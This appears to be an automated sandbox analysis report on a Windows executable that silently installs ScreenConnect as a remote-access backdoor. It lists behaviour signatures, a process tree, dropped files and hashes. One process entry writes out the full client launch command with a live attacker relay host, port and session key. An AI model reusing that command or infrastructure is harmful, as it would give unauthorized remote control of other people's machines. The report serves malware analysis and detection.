Analysis

  • max time kernel
    149s
  • max time network
    110s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 21:22

General

  • Target
    fb7dde7e6af9b75d598ae55c557a21f983f4b375e1c717a9d8e04b9de1c12899.exe
  • Size 5.4MB
  • Sample260604-z7zc4sfx21
  • SHA256 fb7dde7e6af9b75d598ae55c557a21f983f4b375e1c717a9d8e04b9de1c12899
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fb7dde7e6af9b75d598ae55c557a21f983f4b375e1c717a9d8e04b9de1c12899.exe
    "C:\Users\Admin\AppData\Local\Temp\fb7dde7e6af9b75d598ae55c557a21f983f4b375e1c717a9d8e04b9de1c12899.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4920
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4928
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding A53F2EB9C8B04FD5D3F2FC4EBDC18A0F C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240689343 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3612
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2148
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A1BC4896A300EE3D616EB3AC4E796957
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4748
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7FE12A06111875276715B8BE3A03829A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:412
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2324
    • C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gips620.top&p=8880&s=a4e5fbe7-89e3-4f8a-b50e-40f5df76f034&k=BgIAAACkAABSU0ExAAgAAAEAAQDpOwIVy34yVx7xLDnH6rBeYx7mmiLN2yQyIYdJTxYIVHOsytxx89D0YKoH68EoEXToTuDpMmwJb%2bhrlJ3faNFTpvu7W8w3%2fxYUdeWuXWg%2bTQxXr6EWby912nykdroWfBxDx6Lmxg1gxGgRJHC8Oc96zV%2fiaqo5GlyagtszKkrbPOWW4FBVQPXhlUfH4mlFE0i0vcMxGginTYl8IjGBzr94ANeAXwajoe9Cjam2haoL%2f%2bgHMtFYBZJisALFnyX3zECpRv7vqWzNAQJYIqY6qDuC2lEbs0NtuBMSfQRW1t0ZOk7cEzuQjq72QbWf1bR8rZf%2b0t3VNSgkIUcBljvpSRK7&c=VIRUS101&c=https%3a%2f%2ft.me%2fvirus101Screenconnect&c=PC%20RAT&c=PC%20RAT&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe" "RunRole" "a522f5ce-0454-468f-8f2a-b4a0ee50bb1a" "User"
        2⤵
        • Executes dropped EXE
        PID:2604

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58e914.rbs

          • Path C:\Config.Msi\e58e914.rbs
          • Size 214KB
          • SHA256 53e0eb60287f94fae821e2ed7df908062a13d6e3ef587f597b45c5cb14506ee4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.en-US.resources
          • Size 652B
          • SHA256 75552351b688f153370b86713c443ac7013df3ee8fcac004b2ab57501b89b225
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.Override.resources
          • Size 20KB
          • SHA256 0792210de652583423688fe6acae19f3381622e85992a771bf5e6c5234dbeb8e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\app.config
          • Size 3KB
          • SHA256 f1a3457e307d721ef5b63fdb0d5e13790968276862ef043fb62cce43204606df
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\system.config
          • Size 931B
          • SHA256 b1cdb6fee5e2c07ec8ecd53a1b5a771ad6cce96a0fc9b02182800ec1c2fd3022
          • MD5 SHA1 SHA512 TLSH

          MSIA071.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIA071.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\98a59bd0eed9222b\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 9e8537945eae78cfa227cc117e5d33ea7854e042ec942d9523b5a08c45068dc1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIEAD9.tmp

          • Path C:\Windows\Installer\MSIEAD9.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 18dd14aaf4b56f287651932949bc2aea1cafebda62eff409d41f51c011fca1ac
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {a2150bda-c298-431a-b786-8e2faac32551}_OnDiskSnapshotProp

          • Path \??\Volume{a56ea927-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a2150bda-c298-431a-b786-8e2faac32551}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 4bc1d849192b89d10f96eb69787b66e27e70e3119065bd3fb4d7d812ea6e19f5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2604-133-0x0000000001640000-0x0000000001658000-memory.dmp

          memory/2604-134-0x0000000002FA0000-0x0000000002FB8000-memory.dmp

          memory/2604-129-0x0000000002F40000-0x0000000002F76000-memory.dmp

          memory/2604-132-0x000000001E950000-0x000000001EAD8000-memory.dmp

          memory/2604-128-0x0000000000D90000-0x0000000000E26000-memory.dmp

          memory/2604-131-0x000000001D560000-0x000000001D70A000-memory.dmp

          memory/2604-130-0x000000001D320000-0x000000001D3AC000-memory.dmp

          memory/3612-31-0x0000000002E90000-0x0000000002EBE000-memory.dmp

          memory/3612-35-0x0000000002ED0000-0x0000000002EDA000-memory.dmp

          memory/3612-43-0x0000000005500000-0x00000000056AA000-memory.dmp

          memory/3612-39-0x00000000052C0000-0x000000000534C000-memory.dmp

          memory/4920-6-0x0000000005440000-0x0000000005462000-memory.dmp

          memory/4920-8-0x0000000006090000-0x0000000006636000-memory.dmp

          memory/4920-4-0x00000000057F0000-0x0000000005AE0000-memory.dmp

          memory/4920-0-0x00000000054E0000-0x00000000054F0000-memory.dmp

          memory/4920-3-0x00000000054E0000-0x00000000054F0000-memory.dmp

          memory/4920-2-0x00000000054E0000-0x00000000054F0000-memory.dmp

          memory/4920-1-0x0000000002CD0000-0x0000000002CD8000-memory.dmp

          memory/4920-9-0x00000000054E0000-0x00000000054F0000-memory.dmp

          memory/4920-5-0x0000000005390000-0x000000000541C000-memory.dmp

          memory/4920-7-0x00000000054F0000-0x000000000569A000-memory.dmp

          memory/4980-117-0x0000000004740000-0x0000000004781000-memory.dmp

          memory/4980-119-0x0000000004BE0000-0x0000000004CB2000-memory.dmp

          memory/4980-113-0x0000000004700000-0x0000000004736000-memory.dmp

          memory/4980-109-0x00000000046B0000-0x0000000004700000-memory.dmp

          memory/4980-115-0x00000000049F0000-0x0000000004A82000-memory.dmp

          memory/4980-88-0x0000000001E30000-0x0000000001E48000-memory.dmp